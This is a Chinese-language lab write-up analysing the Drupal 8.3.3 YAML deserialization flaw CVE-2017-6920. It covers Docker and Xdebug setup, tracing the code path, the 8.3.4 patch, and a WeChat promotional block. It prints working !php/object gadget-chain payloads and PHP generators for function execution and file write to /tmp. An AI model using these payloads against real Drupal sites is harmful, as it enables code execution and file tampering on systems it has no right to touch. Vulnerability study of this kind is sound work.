前幾天在參加 FOFA-攻防挑戰賽時,遇到了 Drupal 的盲盒漏洞環境,最終确定漏洞為 CVE-2017-6920 ,但是還是無法 getflag ,因為網上相關參考文章并不是很多,大多都隻是簡單的複現了,于是就想着對這個漏洞進行一個詳細的分析...
前幾天在參加 FOFA-攻防挑戰賽時,遇到了 Drupal 的盲盒漏洞環境,最終确定漏洞為 CVE-2017-6920 ,但是還是無法 getflag ,因為網上相關參考文章并不是很多,大多都隻是簡單的複現了,于是就想着對這個漏洞進行一個詳細的分析。
漏洞描述
環境搭建
環境的搭建,我們可以選擇 p神 的 Vulhub 上的環境,我們也可以利用 vulfocus 的線上環境,或者将鏡像拉取下來本地啟動。
因為 p 神的環境還需要再進行配置
yaml
,為了友善,我們這裡就選擇 vulfocus 的鏡像來進行複現學習
docker pull vulfocus/drupal-cve_2017_6920:latest docker ps
通路随機生成的端口 49156
http://127.0.0.1:49156/
漏洞複現
通路登入界面
http://127.0.0.1:49156/user/login
輸入賬号密碼 admin:admin123
登入成功
登陸成功後通路路由
/admin/config/development/configuration/single/import
填寫相關參數
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
點選
import
觸發漏洞
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “部落格園” 擷取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP用戶端安全檢測指南(安卓+IOS)
漏洞分析
漏洞存在于 drupal 8.3.3 是以我們下載下傳 存在漏洞的版本 drupal 8.3.3 和修複的版本 drupal 8.3.4 進行對比,發現漏洞位于
core\lib\Drupal\Component\Serialization\YamlPecl.php
我們看到修改的位置有這麼一句
// We never want to unserialize !php/object.
就大概可以推測出是在這個地方,以
!php/object
為開頭時 會産生反序列化漏洞
為了友善進行調試,是以我們換一下 docker 啟動時的指令,友善啟動後進行 php 遠端調試,在配置調試環境時出現了各種問題,本來是在本地搭建 docker 環境進行調試的,但是一直沒有成功,是以就采用在虛拟機中搭建 docker 環境,采用遠端調試。
docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest
wget https://xdebug.org/files/xdebug-2.5.5.tgz
docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz
docker exec -it 30 /bin/bash
cd /
tar xvf xdebug-2.5.5.tgz
cd xdebug-2.5.5
phpize
find / -name php-config
`/etc/alternatives/php-config` `/usr/bin/php-config` `/var/lib/dpkg/alternatives/php-config`
./configure --enable-xdebug --with-php-config=/usr/bin/php-config
make && make install ==xdebug 被安裝到了 /usr/lib/php5/20121212/==
find / -name php.ini
`/etc/php5/cli/php.ini` `/etc/php5/apache2/php.ini`
vim /etc/php5/apache2/php.ini ==修改 php.ini 檔案==
shift + g ==定位到最後一行==
sudo service apache2 restart
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
修改php.ini配置檔案,在檔案中追加以下内容
[Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug擴充檔案的路徑 xdebug.remote_enable=1 ;是否開啟遠端調試 xdebug.remote_handler=dbgp ;指定遠端調試的處理協定 xdebug.remote_mode=req ;可以設為req或jit,req表示腳本一開始運作就連接配接遠端用戶端,jit表示腳本出錯時才連接配接遠端用戶端。 xdebug.remote_host=192.168.222.1 ;指定遠端調試的主機名(安裝phpstorm的主機ip) xdebug.remote_port=9001 ;指定遠端調試的端口号 xdebug.idekey="PHPSTORM" ;指定傳遞給DBGp調試器處理程式的IDE Key xdebug.remote_enable=on; [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so; xdebug.remote_enable=1; xdebug.remote_handler=dbgp; xdebug.remote_mode=req; xdebug.remote_host=192.168.222.1; xdebug.remote_port=9001; xdebug.idekey="PHPSTORM";
通路 http://192.168.222.129/phpinfo.php 發現 xdebug 被安裝成功
先将代碼拷貝出來
docker cp 30:/var/www/html html
利用 PHPSTROM 打開項目代碼
File -> Settings -> Languages & Frameworks -> PHP -> Debug
配置 Servers
此處要注意,需要直接指定到網站的目錄位置
配置PHP Web Application
配置完成後打開右上角的電話按鈕
打開浏覽器的插件 Xdebug helper
在 phpinfo 處加載斷點,并通路
http://192.168.222.129/phpinfo.php
成功加載到斷點
之前也配置過 PHP 的遠端調試環境,但是在 Docker 裡面調試的時候,配置了很久的調試環境,最後才成功,中間出了大大小小無數的問題,遇到的最大的問題是最開始端口一直顯示被占用狀态,因為我啟動 docker 時的指令是
docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest
我一直認為說這個 9001 端口也要對外映射出來,但是我在調試時發現一直提示端口被占用,百思不得其解,采用百度大法看到了這麼一句
不要在docker-compose 中添加 9000 端口
,我靈機一動,将 -p 9001:9001 給删除掉,就成功了。這下我才完全了解了,原來這個端口是遠端調控,就是安裝 PHPSTORM 機器上的端口。
正式開始調試分析
漏洞的最終觸發位置是在
core/lib/Drupal/Component/Serialization/YamlPecl.php::decode
對傳入的 參數 $raw 如果可控的話,如果使用!php/object,那麼yaml_parse将會以反序列化(unserialize)的形式來進行處理字元串。
我們看在哪裡可以調用
YamlPecl.php::decode
core/lib/Drupal/Component/Serialization/Yaml.php::decode
decode 函數中 調用了靜态
getSerializer
函數
如果存在 yaml 擴充,
$serializer
就使用
YamlPecl
類,之後會調用
YamlPecl
類中的 decode 函數;
如果不存在 yaml 擴充,
$serializer
就使用
YamlSymfony
類,之後會調用
YamlSymfony
類中的 decode 函數。 目前的環境是已經安裝了 yaml 擴充了,是以我們隻需要尋找,可控輸入的
Yaml::decode
core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm
如此我們就已經确定了漏洞的觸發位置,以及漏洞的入口點,但是距離漏洞的利用成功還差一個 payload
我們已經知道這個漏洞是一個反序列化漏洞,我們就要找出這個系統中存在的反序列化鍊,針對這個漏洞有兩條利用鍊路,任意指令執行以及任意檔案寫入
任意指令執行
html\vendor\guzzlehttp\psr7\src\FnStream.php
反序列化這個類造成任意無參數函數執行
<?php namespace GuzzleHttp\Psr7; class FnStream { public function __construct(array $methods) { $this->methods = $methods; // Create the functions on the class foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } } } $fn = new FnStream(array('close'=>'phpinfo')); echo(serialize($fn)) ?>
序列化字元串加上yaml的!php/object
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
任意檔案寫入
html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
反序列化這個類達到任意檔案寫入的效果,但是因為這個系統啟動并不是 root 權限啟動,是以隻有在 tmp 目錄下寫檔案的權限
<?php require __DIR__.'/vendor/autoload.php'; use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Cookie\SetCookie; $Limerence = new FileCookieJar('/tmp/shell.txt'); $payload = '1'; $data=array( 'Name' => "Limerence", 'Value' => "Limerence", 'Domain' => $payload, 'Expires' => time() ); $Limerence->setCookie(new SetCookie($data)); echo(addslashes(serialize($Limerence)));
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:9:{s:4:\"Name\";s:9:\"Limerence\";s:5:\"Value\";s:9:\"Limerence\";s:6:\"Domain\";s:1:\"1\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";i:1657262153;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}"
漏洞修複
根據對比官方對 drupal 8.3.4 的修補,我們得出 針對低于版本 drupal 8.3.4 的代碼中 在
core\lib\Drupal\Component\Serialization\YamlPecl.php
的
decode
函數修改為
public static function decode($raw) { static $init; if (!isset($init)) { ini_set('yaml.decode_php', 0); $init = TRUE; } if (!trim($raw)) { return NULL; } set_error_handler([__CLASS__, 'errorHandler']); $ndocs = 0; $data = yaml_parse($raw, 0, $ndocs, [ YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]); restore_error_handler(); return $data; }
總結反思
之前也實作過遠端調試,但是對 docker 内的系統進行調試還沒有做過,不對的試錯過程中,也對 docker 進一步加深的認知與了解。
更多靶場實驗練習、網安學習資料,請點選這裡>>
搜尋
複制
合天智彙:合天網絡靶場、網安實戰虛拟環境